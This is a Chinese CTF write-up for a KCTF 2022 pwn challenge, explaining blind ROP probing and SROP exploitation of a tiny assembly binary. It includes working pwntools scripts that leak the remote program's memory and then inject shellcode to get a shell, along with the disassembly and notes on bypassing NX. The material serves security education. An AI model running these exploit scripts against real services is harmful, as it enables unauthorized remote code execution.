-
-
[原创]看雪 2022 KCTF 春季赛 第六题 废土末世
-
2022-5-23 12:09 9360
-
概述
ROP,全称 Return Oriented Programming。在存在栈溢出的情况下,通过在栈上合理布局连接若干个以 ret
结尾的代码片段(gadget)实现特定的功能。
BROP,全称 Blind Return Oriented Programming,即在没有源码和二进制的情况下通过完成 ROP 利用。
能够完成 BROP 的前提是程序的内存地址在崩溃重连之后不发生改变,因为需要不断探测不同地址的 gadget 行为,依赖探测结果的稳定性。
BROP的一般攻击流程:探测溢出长度 -> 探测特殊gadget -> 泄露程序代码段内存 -> 白盒分析
试探
用 nc
命令连接服务器,远程输出了 "hacker, TNT!\n"
,然后等待输入;随便输入几个字符后回车,远程输出 "TNT TNT!"
,然后连接断开。
如果输入很长,则连接断开,远程无第二句输出。
改变输入长度,可以发现输入16个字符时远程能正常输出第二句话,但输入17个字符时远程没有输出,因此断定远程的输入缓冲区长度为16。
对于一个开启的连接,本地可以区分出三种不同的状态:
- 从连接读到一些数据:通常意味着程序正常执行,"normal"
- 连接断开:本地读取时发生EOF,通常意味着远程程序崩溃退出,"crash"
- 连接无响应:本地读取时一直处于等待状态,通常意味着远程程序阻塞在某个状态,"stop"
可以用下面的程序区分这三种状态:(需要Linux环境下的Python3,安装 pwntools
包(pip3 install pwntools
) )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import * context.log_level = "critical" def probe(v, want = b "TNT TNT!" ): s = None try : s = remote(ip, port) s.recvuntil(b "hacker, TNT!\n" ) s.send(v) r = s.recv(timeout = 3 ) if (want is not None and want in r) or (want is None and len (r)> 0 ): return "normal" else : return "stop" except EOFError: return "crash" finally : if s: s.close() return None |
栈上的原始值
如果溢出覆盖的值与栈上的原始值相同,则程序会正常运行并输出"TNT TNT!"
,即"normal"状态;而不正确的覆盖原始值则大概率会造成程序crash。
发送长17字节的输入,其中前16字节任意,第17字节从0到255依次遍历,然后探测程序的结果:
1 2 3 4 5 6 7 8 | def test(prefix): for i in range ( 256 ): t = prefix + bytes([i]) c = probe(t, None ) if c ! = "crash" : print ( hex (i), c) test(b "a" * 16 ) |
"crash"的结果不需要关心,重点是"normal"和"stop"。以下是探测的结果(多次运行的结果相同):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | 0xb0 normal 0xb5 stop 0xb6 stop 0xb8 stop 0xc2 stop 0xc7 stop 0xc9 stop 0xce normal 0xec stop 0xed stop 0xee stop 0xef stop 0xf2 stop 0xf3 stop |
发现了两个"normal"的结果,如果打印出接收到的字符串,会发现溢出 b"\xb0" 时收到了b"hacker, TNT!\n"
,而溢出 b"\xce" 时收到了 b"TNT TNT!\n"
。
由此可以得出,栈上被覆盖的第一个字节原始值一定是 b"\xce",因为只有溢出为它时的输出与未溢出时相同。
下一步向远程发送长18字节的输入,其中第17个字节固定为 0xce,第18个字节从0到255遍历:
1 | test(b "a" * 16 + b "\xce" ) |
1 | 0x0 normal |
发现了唯一一个"normal"的状态,继续探测下一个字节:
1 | test(b "a" * 16 + b "\xce\x00" ) |
1 2 | 0x40 normal 0x60 normal |
连接这三个值,得到两个熟悉的地址:0x4000ce和0x6000ce。
在 Linux x64 上编译出的 非PIE(Position Independent Executables)程序(gcc -no-pie
选项编译,得到的程序的代码段和数据段的内存地址不会随机化。Linux上的PIE等价于Windows上的DYNAMICBASE),其代码段的基地址通常是 0x400000,数据段的基地址通常是 0x600000。因此,凭借这两个使程序正常执行的溢出值,可以猜测远程是64位程序,没有开启PIE。
为了进一步确认,这次溢出8个正确的字节,同时作为对照,溢出7个正确的字节+1个错误的字节:
1 2 | probe(b "a" * 16 + p64( 0x4000ce )) # "normal" probe(b "a" * 16 + p64( 0x4000ce )[: 7 ] + b "\x01" ) # "crash" |
发现第一溢出的第8个字节对程序的执行有影响,因此可以断定远程是64位程序。
寻找ret指令
现在已知输入的第16-24个字节会覆盖程序的返回地址。如果把返回地址覆盖为ret
指令所在的地址,则这个ret
指令会继续取后面的8个字节作为地址然后跳转过去。
因此,把输入的第24-32个字节指定为0x4000ce
,然后遍历第16-24个字节,检查程序是否输出了b"TNT TNT!\n"
:
1 2 3 4 5 6 7 8 | def findret(prefix): for i in range ( 256 * 256 ): t = prefix + p64( 0x400000 + i) + p64( 0x4000ce ) c = probe(t, b "TNT TNT!\n" ) if c = = "normal" : print ( hex (i), c) findret(b "a" * 16 ) |
得到以下几个地址:
1 2 3 | 0xce normal 0x101 normal 0x106 normal |
0xce是已知的原始返回地址,忽略之。
现在有两个地址:0x400101 和 0x400106,可以断定的是 0x400106 一定指向 ret
指令,而 0x400101 不确定(因为如果一个地址指向指令序列 xxx ; ret
,只要xxx
指令不修改栈指针rsp,也会产生同样的效果,但后面一定还会出现另一个更大的地址;这里 0x400106是最大的地址,因此它一定是直接指向 ret
的)。
另外,这次遍历的范围扩大到了两个字节,但是输出结果只有3个,表明程序在0x400106之后不再有ret
指令,这极大的预示着程序的代码段到此就结束了。
推测程序的结构
到目前为止已经收集到了足够的信息,下面开始推理程序的结构。
回顾前面遇到的第一个"normal"溢出(0xb0 normal
),即如果跳转到的 0x4000b0 地址,程序就会重新开始执行,输出 "hacker, TNT!\n",并且可以继续进行溢出,因此可以推测 0x4000b0 就是程序的入口点。
对于64位的ELF程序,其 ELF Header 大小为 0x40 字节,Program Header 大小为 0x38 字节。
可执行的ELF程序至少要包含一个 ELF Header 和一个 PT_LOAD 类型的 Program Header 才能被内核加载。根据先前的探测,0x600000也是此程序一个合法的段,因此这个程序至少有两个 Program Header,分别对应 0x400000 和 0x600000 的加载地址。
不考虑重叠,一个 ELF Header 和两个 Program Header 需要占用 0x40 + 0x38*2 = 0xb0 字节的空间,而 0x4000b0 已经是程序代码了,因此之前的推测进一步得到验证。
最后一个ret
指令出现的位置在0x400106,则程序代码段的总大小估计是 0x400106+1-0x4000b0 = 87 字节。能做到如此短小的代码 + 只有两个PT_LOAD的 Program Header,此程序一定不是通常由 gcc
编译出来的高级语言可执行文件,而大概率是由汇编直接编写的。
最常用的汇编工具是 nasm
。nasm
工具负责把汇编源码编译为.o
文件,然后需要手动调用链接器ld
生成最终的可执行文件。已知题目运行在 Ubuntu 系统中(只考虑LTS版本),同时代码段的起始地址紧跟在 Header 后面,这不符合 Ubuntu 20.04 及以上的链接器默认生成的可执行文件的内存布局特征(高版本的ld
为了保持文件头部的字节不可执行,会把Header和代码段分开在两个segment中,此时代码段的起始地址是 0x401000(未开启PIE的情况下),可以用 readelf -l
查看 Program Header 进行比较),因此推测程序的编译环境是 Ubuntu 18.04
找一个 Ubuntu 18.04
的环境,apt-get
安装 nasm
,然后随意编译一个helloworld程序,readelf -l
发现程序的入口点确实是 0x4000b0
,存在 0x400000 和 0x600000 两个 segment,且生成的代码段长度相当短。至此,上面的所有猜测全部得到验证。
推测代码段的结构
已知0x4000b0是入口点,0x4000ce是紧跟call指令的返回地址,0x400106是最后一个ret指令,可以初步得出以下的代码段布局:
1 2 3 4 5 6 7 8 9 | 0x4000b0 : <do write "hacker, TNT!\n" > call overflow 0x4000ce : <do write "TNT TNT!\n" > overflow: <do read> 0x400106 : ret |
因为程序不包含类型为 DYNAMIC 的 Program Header,所以程序没有加载任何动态库,因此对write和read的调用只能是直接设置相关寄存器然后调用syscall
指令完成。自己试着按相同的逻辑编写了一下,发现非常紧凑,如果源程序确实只有87个字节,那么几乎没有多余的指令。
寻找syscall
指令
回忆下最开始探测出来的stop gadget:[0xb5, 0xb6, 0xb8, 0xc2, 0xc7, 0xc9, 0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3]。本程序的逻辑非常简单,因此产生stop的原因不大可能是因为循环,而更有可能是进入了read等待客户端的输入。
已知 x64 的 call 指令一般长 5 个字节,而 call overflow
结束于 0x4000ce,那么它的起始位置应该是 0x4000ce-5 = 0x4000c9。注意到 0xc9 是stop gadget,call overflow
会等待输入,这是完全吻合的。
那么从 0x4000b0 到 0x4000c9 应该只包含了 write 的逻辑,大致是先设置 rax(1,SYS_write系统调用号), rdi(1,stdout的文件描述符), rsi(字符串地址), rdx(字符串长度),然后执行 syscall
指令。因此 syscall
指令大概率在最后执行,并随后到达 0x4000c9 call overflow
指令。
syscall
指令长 2 个字节,注意到 0xc7 也是一个 stop gadget,因此合理猜测 syscall
指令就位于 0x4000c7
,两字节后恰好连到 0x4000c9。
泄露
推测到 syscall
指令的地址后,下一个目标是构造write系统调用输入出程序代码段的内存。
根据推测到的代码段的结构,程序里几乎没有多余的指令,大概率也不存在 pop ret ; ret
这样的常规设置寄存器的 rop gadget。
针对这种情况(1. 溢出长度很长 2. 有syscall
指令的地址 3. 几乎没有其他可用的gadget),可以使用 SROP(Sigreturn Oriented Programming) 一次性设置所有的寄存器同时控制住rip。
SROP 的原理是利用 sigreturn 系统调用,只要在 rsp 指向的栈顶内存布置好Signal Frame 即可。
Signal Frame 可以直接使用 pwntools
的 SigreturnFrame
构造,不过要调用 sigreturn
系统调用需要正确设置 rax 寄存器为它的系统调用号,在 Linux x64 中为 15。
虽然没有 pop rax ; ret
之类的指令,不过注意到 read
的返回值保存在 rax
寄存器中,是输入的长度,这是可控的。
栈帧的构造:依次布置 \<do read\>的地址、syscall
指令的地址、SigreturnFrame,其中SigreturnFrame的寄存器设置为满足write(1, 0x400000, 0x1000),rip指向syscall
指令,则sigreturn
系统调用返回后就会跳转到rip的位置执行write系统调用输出程序内存。
关于 \<do read\> 的地址:需要一次调用read的机会,客户端发送恰好15个字符以控制rax的值,同时保证 rop 链可以走向下一步。参照推测出的代码段结构,最好的选择就是跳转到 overflow:
标签的位置(0x4000c9 call overflow
的位置不行,因为多了一个call,无法走向 rop 链的下一步)。这个位置可以参照探测出来的stop gadget,从[0xec, 0xed, 0xee, 0xef]中选择,经测试在这里选择0xec、0xee、0xef都能成功。为了防止粘包,在两次输入之间添加了sleep。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import * sigframe = SigreturnFrame() sigframe.rax = 1 sigframe.rdi = 1 sigframe.rsi = 0x400000 sigframe.rdx = 0x1000 sigframe.rip = 0x4000c7 ip = <> port = <> s = remote(ip, port) s.recvuntil(b "hacker, TNT!\n" ) s.send(b 'a' * 16 + p64( 0x4000ee ) + p64( 0x4000c7 ) + bytes(sigframe)) sleep( 1 ) s.send(b 'a' * 15 ) r = s.recv() assert r.startswith(b "\x7fELF" ) with open ( "tnt" , "wb" ) as f: f.write(r) s.close() |
(如果暴力做题的话,前面的分析完全不用做,直接构造 SROP,syscall
指令的地址从 0x400000开始遍历,这样很快就能找到结果。(风险在于,如果程序是C语言编译的动态链接ELF,通常代码段是不会出现syscall
指令的,那么这样暴力不会产生结果) )
(真相是做到这一步卡了一段时间才突然想起来 SROP 这种很少使用的利用方式……前面的分析过程规避了风险,但也消耗了时间)
利用
现在获取到了源文件,可以本地反汇编以及动态调试了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | tnt: file format elf64 - x86 - 64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0 : b8 01 00 00 00 mov eax, 0x1 4000b5 : 48 89 c7 mov rdi,rax 4000b8 : 48 be 08 01 60 00 00 movabs rsi, 0x600108 4000bf : 00 00 00 4000c2 : ba 0d 00 00 00 mov edx, 0xd 4000c7 : 0f 05 syscall 4000c9 : e8 20 00 00 00 call 4000ee <TNT66666> 4000ce : b8 01 00 00 00 mov eax, 0x1 4000d3 : 48 89 c7 mov rdi,rax 4000d6 : 48 be 15 01 60 00 00 movabs rsi, 0x600115 4000dd : 00 00 00 4000e0 : ba 09 00 00 00 mov edx, 0x9 4000e5 : 0f 05 syscall 4000e7 : b8 3c 00 00 00 mov eax, 0x3c 4000ec : 0f 05 syscall 00000000004000ee <TNT66666>: 4000ee : 48 83 ec 10 sub rsp, 0x10 4000f2 : 48 31 c0 xor rax,rax 4000f5 : ba 00 04 00 00 mov edx, 0x400 4000fa : 48 89 e6 mov rsi,rsp 4000fd : 48 89 c7 mov rdi,rax 400100 : 0f 05 syscall 400102 : 48 83 c4 10 add rsp, 0x10 400106 : c3 ret |
反汇编得到的指令与先前推测的代码段结构基本一致。
动态调试容易发现 0x600000 的segment是 RWX 权限,因此可以设法把shellcode写入其中然后直接跳转执行。
具体步骤如下:
- 第一次溢出时布置一次 SROP,其中SigreturnFrame里只需要把 rsp 设置为这个segment里的地址(如0x600800),同时把 rip 设置为 \<do read\> 的地址(即0x4000ee)。把这一次的返回地址也覆盖为 \<do read\> 的地址0x4000ee,然后栈上的下一个位置覆盖为
syscall
指令的地址(如0x400100)。 - 第一次ret之后会重新执行read,输入15个字符凑出
sigreturn
的系统调用号,则这次ret
后会用构造的SigreturnFrame执行syscall sigreturn
。执行之后,rsp变为了 0x600800,然后控制流再一次转到了 0x4000ee 并等待第三次输入。 - 溢出,输入shellcode并覆盖返回地址为对应的位置,成功getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from pwn import * context.arch = "amd64" context.terminal = [ "tmux" , "split" , "-h" ] ip = <> port = <> #s = process("./tnt") s = remote(ip, port) #attach(s) s.recvuntil(b "hacker, TNT!\n" ) sigframe = SigreturnFrame() sigframe.rip = 0x4000ee sigframe.rsp = 0x600800 s.send(b 'a' * 16 + p64( 0x4000ee ) + p64( 0x400100 ) + bytes(sigframe)) sleep( 1 ) s.send(b 'a' * 15 ) sleep( 1 ) s.send(b 'a' * 16 + p64( 0x600808 ) + asm(shellcraft.sh())) s.interactive() |
其他
注意到0x600000的segment是程序的数据段,在本程序中却有了可执行权限。
原因是程序的 Program Header 缺少一个类型为 GNU_STACK 的段。Linux内核会根据这个段决定程序的数据段是否可执行(即NX保护是否开启。在Windows上相应的保护机制称为DEP)。如果这个段指定了可执行权限或者缺少此段,则内核会添加 READ_IMPLIES_EXEC 的 personality,这会让所有带有 PROT_READ 选项的 mmap 系统调用建立的内存映射自动带有可执行权限。(参考:https://stackoverflow.com/questions/61909762/when-setting-execution-bit-on-pt-gnu-stack-program-header-why-do-all-segments-o )
即使不存在这个RWX段,本题仍然可以利用。由于程序中存在 syscall ; ... ; ret
序列(0x400100-0x400107),只要能找到一块已知地址的可写内存布置连续的SigreturnFrame帧即可。例如,在第一次溢出时布置SigreturnFrame帧,其参数为mprotect(0x400000, 0x1000, 7),rsp为0x400000-0x401000中的一个地址,同时把返回地址覆盖为0x4000ec,这样第一次sigreturn之后栈已经迁移到了0x400000段上,同时先执行0x4000ec处syscall
调用mprotect把0x400000段改为可写可执行,然后控制流顺次到达0x4000ee开启下一次read,之后就是常规构造(可参考文末链接的参考教程);或者通过控制read的字符数量为1(SYS_write),然后跳转到0x4000f5,write出栈的内容,输出内容大概率会有栈地址,此时得到了已知地址的可写内存段,再通过一次SROP把栈迁移过去,之后是常规构造。
另外,从vsyscall里找gadget是不能成功的,因为高版本内核基本都开启了 vsyscall emulate,vsyscall段的内存实际上仅仅是模拟以向下兼容,内核会对入口做严格的检查,直接跳到中间的syscall指令是无法执行的。
总结
本题是一道很好的BROP+SROP教学题,涉及的知识点很基础,大部分PWN的入门教程都有介绍;同时程序完全用汇编编写,避开了常规BROP的 __libc_csu_init 特征gadget,从而大部分现有exp不能直接照抄。
关于BROP和SROP的两篇基本教程:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#brop
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法